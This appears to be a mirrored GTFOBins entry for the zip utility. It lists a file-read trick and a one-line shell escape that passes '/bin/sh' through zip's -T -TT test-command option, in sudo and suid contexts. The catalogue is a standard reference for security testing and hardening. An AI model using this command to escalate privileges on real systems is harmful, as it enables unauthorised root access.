1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/zip

20 lines
345 B
Plaintext

---
functions:
file-read:
- code: |-
zip /path/to/temp-file /path/to/input-file
unzip -p /path/to/temp-file
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
zip /path/to/temp-file /etc/hosts -T -TT '/bin/sh #'
contexts:
sudo:
suid:
shell: true
unprivileged:
...